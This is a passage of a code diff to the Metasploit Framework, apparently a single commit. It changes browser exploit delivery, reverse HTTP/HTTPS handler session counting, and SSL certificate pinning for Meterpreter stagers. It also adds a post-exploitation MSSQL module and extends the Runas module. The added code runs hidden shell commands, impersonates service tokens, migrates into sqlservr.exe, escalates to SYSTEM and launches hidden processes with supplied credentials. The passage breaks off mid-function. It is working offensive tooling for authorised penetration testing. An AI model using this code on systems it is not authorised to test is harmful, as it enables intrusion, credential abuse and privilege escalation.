<% end %>
|
<% end %>
|
||||||
|
|
||||||
|
@ -438,7 +444,7 @@ module Msf
|
||||||
|
|
||||||
%Q|
|
%Q|
|
||||||
<script>
|
<script>
|
||||||
#{js}
|
#{code}
|
||||||
</script>
|
</script>
|
||||||
<noscript>
|
<noscript>
|
||||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||||
|
@ -462,12 +468,11 @@ module Msf
|
||||||
cookie
|
cookie
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Handles exploit stages.
|
# Handles exploit stages.
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
#
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
case request.uri
|
case request.uri
|
||||||
when '/', get_resource.chomp("/")
|
when '/', get_resource.chomp("/")
|
||||||
|
@ -548,18 +553,17 @@ module Msf
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Overriding method. The module should override this.
|
# Overriding method. The module should override this.
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
# @param browser_info [Hash] The target profile
|
# @param browser_info [Hash] The target profile
|
||||||
#
|
|
||||||
def on_request_exploit(cli, request, browser_info)
|
def on_request_exploit(cli, request, browser_info)
|
||||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
|
@ -567,7 +571,6 @@ module Msf
|
||||||
# then this is handled as an Array, with the first element
|
# then this is handled as an Array, with the first element
|
||||||
# being the HTML, and the second element is the binding object.
|
# being the HTML, and the second element is the binding object.
|
||||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||||
#
|
|
||||||
def send_exploit_html(cli, template, headers={})
|
def send_exploit_html(cli, template, headers={})
|
||||||
html = ''
|
html = ''
|
||||||
if template.class == Array
|
if template.class == Array
|
||||||
|
@ -578,13 +581,12 @@ module Msf
|
||||||
send_response(cli, html, headers)
|
send_response(cli, html, headers)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Generates a target-specific payload, should be called by the module
|
# Generates a target-specific payload, should be called by the module
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param browser_info [Hash] The target profile
|
# @param browser_info [Hash] The target profile
|
||||||
# @return [String] The payload
|
# @return [String] The payload
|
||||||
#
|
|
||||||
def get_payload(cli, browser_info)
|
def get_payload(cli, browser_info)
|
||||||
arch = browser_info[:arch]
|
arch = browser_info[:arch]
|
||||||
platform = browser_info[:os_name]
|
platform = browser_info[:os_name]
|
||||||
|
@ -618,9 +620,8 @@ module Msf
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
#
|
|
||||||
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
|
||||||
#
|
|
||||||
def send_not_found(cli)
|
def send_not_found(cli)
|
||||||
custom_404_url = get_custom_404_url
|
custom_404_url = get_custom_404_url
|
||||||
if custom_404_url.blank?
|
if custom_404_url.blank?
|
||||||
|
|
|
@ -45,7 +45,7 @@ module Msf
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||||
|
|
|
@ -77,6 +77,9 @@ module Handler
|
||||||
# Initialize the pending_connections counter to 0
|
# Initialize the pending_connections counter to 0
|
||||||
self.pending_connections = 0
|
self.pending_connections = 0
|
||||||
|
|
||||||
|
# Initialize the sessions counter to 0
|
||||||
|
self.sessions = 0
|
||||||
|
|
||||||
# Create the waiter event with auto_reset set to false so that
|
# Create the waiter event with auto_reset set to false so that
|
||||||
# if a session is ever created, waiting on it returns immediately.
|
# if a session is ever created, waiting on it returns immediately.
|
||||||
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
self.session_waiter_event = Rex::Sync::Event.new(false, false)
|
||||||
|
@ -234,10 +237,14 @@ protected
|
||||||
# Decrement the pending connections counter now that we've processed
|
# Decrement the pending connections counter now that we've processed
|
||||||
# one session.
|
# one session.
|
||||||
self.pending_connections -= 1
|
self.pending_connections -= 1
|
||||||
|
|
||||||
|
# Count the number of sessions we have registered
|
||||||
|
self.sessions += 1
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :session_waiter_event # :nodoc:
|
attr_accessor :session_waiter_event # :nodoc:
|
||||||
attr_accessor :pending_connections # :nodoc:
|
attr_accessor :pending_connections # :nodoc:
|
||||||
|
attr_accessor :sessions # :nodoc:
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
|
||||||
require 'rex/sync/ref'
|
require 'rex/sync/ref'
|
||||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
require 'msf/core/handler/reverse_http/uri_checksum'
|
||||||
require 'rex/payloads/meterpreter/patch'
|
require 'rex/payloads/meterpreter/patch'
|
||||||
|
require 'rex/parser/x509_certificate'
|
||||||
|
require 'msf/core/payload/windows/verify_ssl'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Handler
|
module Handler
|
||||||
|
@ -16,6 +18,7 @@ module ReverseHttp
|
||||||
|
|
||||||
include Msf::Handler
|
include Msf::Handler
|
||||||
include Msf::Handler::ReverseHttp::UriChecksum
|
include Msf::Handler::ReverseHttp::UriChecksum
|
||||||
|
include Msf::Payload::Windows::VerifySsl
|
||||||
|
|
||||||
#
|
#
|
||||||
# Returns the string representation of the handler type
|
# Returns the string representation of the handler type
|
||||||
|
@ -160,7 +163,7 @@ module ReverseHttp
|
||||||
def stop_handler
|
def stop_handler
|
||||||
if self.service
|
if self.service
|
||||||
self.service.remove_resource("/")
|
self.service.remove_resource("/")
|
||||||
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -217,6 +220,8 @@ protected
|
||||||
|
|
||||||
uri_match = process_uri_resource(req.relative_resource)
|
uri_match = process_uri_resource(req.relative_resource)
|
||||||
|
|
||||||
|
self.pending_connections += 1
|
||||||
|
|
||||||
# Process the requested resource.
|
# Process the requested resource.
|
||||||
case uri_match
|
case uri_match
|
||||||
when /^\/INITPY/
|
when /^\/INITPY/
|
||||||
|
@ -252,7 +257,6 @@ protected
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
})
|
})
|
||||||
self.pending_connections += 1
|
|
||||||
|
|
||||||
when /^\/INITJM/
|
when /^\/INITJM/
|
||||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||||
|
@ -291,12 +295,15 @@ protected
|
||||||
|
|
||||||
blob = obj.stage_payload
|
blob = obj.stage_payload
|
||||||
|
|
||||||
|
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||||
|
datastore['HandlerSSLCert'])
|
||||||
#
|
#
|
||||||
# Patch options into the payload
|
# Patch options into the payload
|
||||||
#
|
#
|
||||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||||
:ssl => ssl?,
|
:ssl => ssl?,
|
||||||
:url => url,
|
:url => url,
|
||||||
|
:ssl_cert_hash => verify_cert_hash,
|
||||||
:expiration => datastore['SessionExpirationTimeout'],
|
:expiration => datastore['SessionExpirationTimeout'],
|
||||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||||
:ua => datastore['MeterpreterUserAgent'],
|
:ua => datastore['MeterpreterUserAgent'],
|
||||||
|
@ -304,7 +311,7 @@ protected
|
||||||
:proxy_port => datastore['PayloadProxyPort'],
|
:proxy_port => datastore['PayloadProxyPort'],
|
||||||
:proxy_type => datastore['PayloadProxyType'],
|
:proxy_type => datastore['PayloadProxyType'],
|
||||||
:proxy_user => datastore['PayloadProxyUser'],
|
:proxy_user => datastore['PayloadProxyUser'],
|
||||||
:proxy_pass => datastore['PayloadProxyPass']
|
:proxy_pass => datastore['PayloadProxyPass'])
|
||||||
|
|
||||||
resp.body = encode_stage(blob)
|
resp.body = encode_stage(blob)
|
||||||
|
|
||||||
|
@ -340,6 +347,7 @@ protected
|
||||||
resp.code = 200
|
resp.code = 200
|
||||||
resp.message = "OK"
|
resp.message = "OK"
|
||||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||||
|
self.pending_connections -= 1
|
||||||
end
|
end
|
||||||
|
|
||||||
cli.send_response(resp) if (resp)
|
cli.send_response(resp) if (resp)
|
||||||
|
|
|
@ -43,7 +43,8 @@ module ReverseHttps
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
|
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
|
||||||
|
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
|
||||||
], Msf::Handler::ReverseHttps)
|
], Msf::Handler::ReverseHttps)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
# @option opts [String] :url The URI to request during staging
|
# @option opts [String] :url The URI to request during staging
|
||||||
# @option opts [String] :host The host to connect to
|
# @option opts [String] :host The host to connect to
|
||||||
# @option opts [Fixnum] :port The port to connect to
|
# @option opts [Fixnum] :port The port to connect to
|
||||||
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
|
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
|
|
||||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||||
#
|
#
|
||||||
|
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||||
|
|
||||||
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
|
if opts[:ssl] && opts[:verify_cert_hash]
|
||||||
verify_ssl = true
|
verify_ssl = true
|
||||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||||
end
|
end
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/windows/reverse_winhttp'
|
require 'msf/core/payload/windows/reverse_winhttp'
|
||||||
require 'rex/parser/x509_certificate'
|
require 'msf/core/payload/windows/verify_ssl'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -17,6 +17,7 @@ module Msf
|
||||||
module Payload::Windows::ReverseWinHttps
|
module Payload::Windows::ReverseWinHttps
|
||||||
|
|
||||||
include Msf::Payload::Windows::ReverseWinHttp
|
include Msf::Payload::Windows::ReverseWinHttp
|
||||||
|
include Msf::Payload::Windows::VerifySsl
|
||||||
|
|
||||||
#
|
#
|
||||||
# Register reverse_winhttps specific options
|
# Register reverse_winhttps specific options
|
||||||
|
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
|
||||||
#
|
#
|
||||||
def generate
|
def generate
|
||||||
|
|
||||||
verify_cert = false
|
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||||
verify_cert_hash = nil
|
datastore['HandlerSSLCert'])
|
||||||
|
|
||||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
|
||||||
unless datastore['HandlerSSLCert']
|
|
||||||
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
|
|
||||||
else
|
|
||||||
verify_cert = true
|
|
||||||
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
|
|
||||||
unless hcert and hcert[0] and hcert[1]
|
|
||||||
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
|
|
||||||
end
|
|
||||||
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
|
|
||||||
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Generate the simple version of this stager if we don't have enough space
|
# Generate the simple version of this stager if we don't have enough space
|
||||||
if self.available_space.nil? || required_space > self.available_space
|
if self.available_space.nil? || required_space > self.available_space
|
||||||
|
|
||||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
if verify_cert_hash
|
||||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_small_uri,
|
url: generate_small_uri,
|
||||||
verify_cert: verify_cert,
|
|
||||||
verify_cert_hash: verify_cert_hash,
|
verify_cert_hash: verify_cert_hash,
|
||||||
retry_count: datastore['StagerRetryCount'])
|
retry_count: datastore['StagerRetryCount'])
|
||||||
end
|
end
|
||||||
|
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_uri,
|
url: generate_uri,
|
||||||
exitfunk: datastore['EXITFUNC'],
|
exitfunk: datastore['EXITFUNC'],
|
||||||
verify_cert: verify_cert,
|
|
||||||
verify_cert_hash: verify_cert_hash,
|
verify_cert_hash: verify_cert_hash,
|
||||||
retry_count: datastore['StagerRetryCount']
|
retry_count: datastore['StagerRetryCount']
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
#-*- coding: binary -*-
|
#-*- coding: binary -*-
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'rex/payloads/meterpreter/patch'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
|
||||||
|
|
||||||
# the URL might not be given, as it might be patched in some other way
|
# the URL might not be given, as it might be patched in some other way
|
||||||
if url
|
if url
|
||||||
url = "s#{url}\x00"
|
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
|
||||||
location = dll.index("https://#{'X' * 256}")
|
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||||
if location
|
# If the patching failed this could mean that we are somehow
|
||||||
dll[location, url.length] = url
|
# working with outdated binaries, so try to patch with the
|
||||||
|
# old stuff.
|
||||||
|
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,36 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/parser/x509_certificate'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Implements SSL validation check options
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Windows::VerifySsl
|
||||||
|
|
||||||
|
#
|
||||||
|
# Get the SSL hash from the certificate, if required.
|
||||||
|
#
|
||||||
|
def get_ssl_cert_hash(verify_cert, handler_cert)
|
||||||
|
unless verify_cert.to_s =~ /^(t|y|1)/i
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
unless handler_cert
|
||||||
|
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
|
||||||
|
end
|
||||||
|
|
||||||
|
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
|
||||||
|
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
|
||||||
|
hash
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,210 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core/post/windows/services'
|
||||||
|
require 'msf/core/post/windows/priv'
|
||||||
|
require 'msf/core/exploit/mssql_commands'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Windows
|
||||||
|
module MSSQL
|
||||||
|
|
||||||
|
# @return [String, nil] contains the identified SQL command line client
|
||||||
|
attr_accessor :sql_client
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL_COMMANDS
|
||||||
|
include Msf::Post::Windows::Services
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
# Identifies the Windows Service matching the SQL Server instance name
|
||||||
|
#
|
||||||
|
# @param [String] instance the SQL Server instance name to locate
|
||||||
|
# @return [Hash, nil] the Windows Service instance
|
||||||
|
def check_for_sqlserver(instance = nil)
|
||||||
|
target_service = nil
|
||||||
|
each_service do |service|
|
||||||
|
if instance.to_s.strip.empty?
|
||||||
|
# Target default instance
|
||||||
|
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
|
||||||
|
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||||
|
service[:pid].to_i > 0
|
||||||
|
|
||||||
|
target_service = service
|
||||||
|
break
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if (
|
||||||
|
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
|
||||||
|
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
|
||||||
|
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
|
||||||
|
service[:display].downcase == instance.downcase # If the user gets very specific
|
||||||
|
) &&
|
||||||
|
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||||
|
service[:pid].to_i > 0
|
||||||
|
target_service = service
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if target_service
|
||||||
|
target_service.merge!(service_info(target_service[:name]))
|
||||||
|
end
|
||||||
|
|
||||||
|
target_service
|
||||||
|
end
|
||||||
|
|
||||||
|
# Identifies a valid SQL Server command line client on the host and sets
|
||||||
|
# @sql_client
|
||||||
|
#
|
||||||
|
# @see #sql_client
|
||||||
|
# @return [String, nil] the SQL command line client
|
||||||
|
def get_sql_client
|
||||||
|
client = nil
|
||||||
|
|
||||||
|
if check_sqlcmd
|
||||||
|
client = 'sqlcmd'
|
||||||
|
elsif check_osql
|
||||||
|
client = 'osql'
|
||||||
|
end
|
||||||
|
|
||||||
|
@sql_client = client
|
||||||
|
client
|
||||||
|
end
|
||||||
|
|
||||||
|
# Attempts to run the osql command line tool
|
||||||
|
#
|
||||||
|
# @return [Boolean] true if osql is present
|
||||||
|
def check_osql
|
||||||
|
result = run_cmd('osql -?')
|
||||||
|
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
|
||||||
|
end
|
||||||
|
|
||||||
|
# Attempts to run the sqlcmd command line tool
|
||||||
|
#
|
||||||
|
# @return [Boolean] true if sqlcmd is present
|
||||||
|
def check_sqlcmd
|
||||||
|
result = run_cmd('sqlcmd -?')
|
||||||
|
result =~ /SQL Server Command Line Tool/i
|
||||||
|
end
|
||||||
|
|
||||||
|
# Runs a SQL query using the identified command line tool
|
||||||
|
#
|
||||||
|
# @param [String] query the query to execute
|
||||||
|
# @param [String] instance the SQL instance to target
|
||||||
|
# @param [String] server the SQL server to target
|
||||||
|
# @return [String] the result of query
|
||||||
|
def run_sql(query, instance = nil, server = '.')
|
||||||
|
target = server
|
||||||
|
if instance && instance.downcase != 'mssqlserver'
|
||||||
|
target = "#{server}\\#{instance}"
|
||||||
|
end
|
||||||
|
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
|
||||||
|
vprint_status(cmd)
|
||||||
|
run_cmd(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Executes a hidden command
|
||||||
|
#
|
||||||
|
# @param [String] cmd the command line to execute
|
||||||
|
# @param [Boolean] token use the current thread token
|
||||||
|
# @return [String] the results from the command
|
||||||
|
#
|
||||||
|
# @note This may fail as SYSTEM if the current process
|
||||||
|
# doesn't have sufficient privileges to duplicate a token,
|
||||||
|
# e.g. SeAssignPrimaryToken
|
||||||
|
def run_cmd(cmd, token = true)
|
||||||
|
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
|
||||||
|
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
|
||||||
|
res = ""
|
||||||
|
while (d = process.channel.read)
|
||||||
|
break if d == ""
|
||||||
|
res << d
|
||||||
|
end
|
||||||
|
process.channel.close
|
||||||
|
process.close
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
# Attempts to impersonate the user of the supplied service
|
||||||
|
# If the process has the appropriate privileges it will attempt to
|
||||||
|
# steal a token to impersonate, otherwise it will attempt to migrate
|
||||||
|
# into the service process.
|
||||||
|
#
|
||||||
|
# @note This may cause the meterpreter session to migrate!
|
||||||
|
#
|
||||||
|
# @param [Hash] service the service to target
|
||||||
|
# @return [Boolean] true if impersonated successfully
|
||||||
|
def impersonate_sql_user(service)
|
||||||
|
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
|
||||||
|
|
||||||
|
pid = service[:pid]
|
||||||
|
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||||
|
current_privs = client.sys.config.getprivs
|
||||||
|
if current_privs.include?('SeImpersonatePrivilege') ||
|
||||||
|
current_privs.include?('SeTcbPrivilege') ||
|
||||||
|
current_privs.include?('SeAssignPrimaryTokenPrivilege')
|
||||||
|
username = nil
|
||||||
|
session.sys.process.each_process do |process|
|
||||||
|
if process['pid'] == pid
|
||||||
|
username = process['user']
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return false unless username
|
||||||
|
|
||||||
|
session.core.use('incognito') unless session.incognito
|
||||||
|
vprint_status("Attemping to impersonate user: #{username}")
|
||||||
|
res = session.incognito.incognito_impersonate_token(username)
|
||||||
|
|
||||||
|
if res =~ /Successfully/i
|
||||||
|
print_good("Impersonated user: #{username}")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
else
|
||||||
|
# Attempt to migrate to target sqlservr.exe process
|
||||||
|
# Migrating works, but I can't rev2self after its complete
|
||||||
|
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
|
||||||
|
begin
|
||||||
|
session.core.migrate(pid)
|
||||||
|
rescue Rex::RuntimeError => e
|
||||||
|
print_error(e.to_s)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||||
|
print_good("Successfully migrated to sqlservr.exe process #{pid}")
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Attempts to escalate the meterpreter session to SYSTEM
|
||||||
|
#
|
||||||
|
# @return [Boolean] true if escalated successfully or user is already SYSTEM
|
||||||
|
def get_system
|
||||||
|
print_status("Checking if user is SYSTEM...")
|
||||||
|
|
||||||
|
if is_system?
|
||||||
|
print_good("User is SYSTEM")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
# Attempt to get LocalSystem privileges
|
||||||
|
print_warning("Attempting to get SYSTEM privileges...")
|
||||||
|
system_status = session.priv.getsystem
|
||||||
|
if system_status && system_status.first
|
||||||
|
print_good("Success, user is now SYSTEM")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Unable to obtained SYSTEM privileges")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end # MSSQL
|
||||||
|
end # Windows
|
||||||
|
end # Post
|
||||||
|
end # Msf
|
|
@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
include Msf::Exploit::Powershell
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Post::Windows::Error
|
||||||
|
|
||||||
|
ERROR = Msf::Post::Windows::Error
|
||||||
|
MAX_PATH = 260
|
||||||
|
STARTF_USESHOWWINDOW = 0x00000001
|
||||||
|
SW_HIDE = 0
|
||||||
|
|
||||||
def shell_execute_exe(filename = nil, path = nil)
|
def shell_execute_exe(filename = nil, path = nil)
|
||||||
exe_payload = generate_payload_exe
|
exe_payload = generate_payload_exe
|
||||||
|
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
|
||||||
select(nil, nil, nil, 1) until session_created?
|
select(nil, nil, nil, 1) until session_created?
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create a STARTUP_INFO struct for use with CreateProcessA
|
||||||
|
#
|
||||||
|
# This struct will cause the process to be hidden
|
||||||
|
#
|
||||||
|
# @return [String] STARTUP_INFO struct
|
||||||
|
#
|
||||||
|
def startup_info
|
||||||
|
[0, # cb
|
||||||
|
0, # lpReserved
|
||||||
|
0, # lpDesktop
|
||||||
|
0, # lpTitle
|
||||||
|
0, # dwX
|
||||||
|
0, # dwY
|
||||||
|
0, # dwXSize
|
||||||
|
0, # dwYSize
|
||||||
|
0, # dwXCountChars
|
||||||
|
0, # dwYCountChars
|
||||||
|
0, # dwFillAttribute
|
||||||
|
STARTF_USESHOWWINDOW, # dwFlags
|
||||||
|
SW_HIDE, # wShowWindow
|
||||||
|
0, # cbReserved2
|
||||||
|
0, # lpReserved2
|
||||||
|
0, # hStdInput
|
||||||
|
0, # hStdOutput
|
||||||
|
0 # hStdError
|
||||||
|
].pack('VVVVVVVVVVVVvvVVVV')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Call CreateProcessWithLogonW to start a process with the supplier
|
||||||
|
# user credentials
|
||||||
|
#
|
||||||
|
# @note The caller should clear up the handles returned in
|
||||||
|
# the PROCESS_INFORMATION @return hash.
|
||||||
|
#
|
||||||
|
# @param domain [String] The target user domain
|
||||||
|
# @param user [String] The target user
|
||||||
|
# @param password [String] The target user password
|
||||||
|
# @param application_name [String] The executable to be run, can be
|
||||||
|
# nil
|
||||||
|
# @param command_line [String] The command line or process arguments
|
||||||
|
#
|
||||||
|
# @return [Hash, nil] The values from the process_information struct
|
||||||
|
#
|
||||||
|
def create_process_with_logon(domain, user, password, application_name, command_line)
|
||||||
|
return unless check_user_format(user, domain)
|
||||||
|
return unless check_command_length(application_name, command_line, 1024)
|
||||||
|
|
||||||
|
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
|
||||||
|
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
|
||||||
|
domain,
|
||||||
|
password,
|
||||||
|
'LOGON_WITH_PROFILE',
|
||||||
|
application_name,
|
||||||
|
command_line,
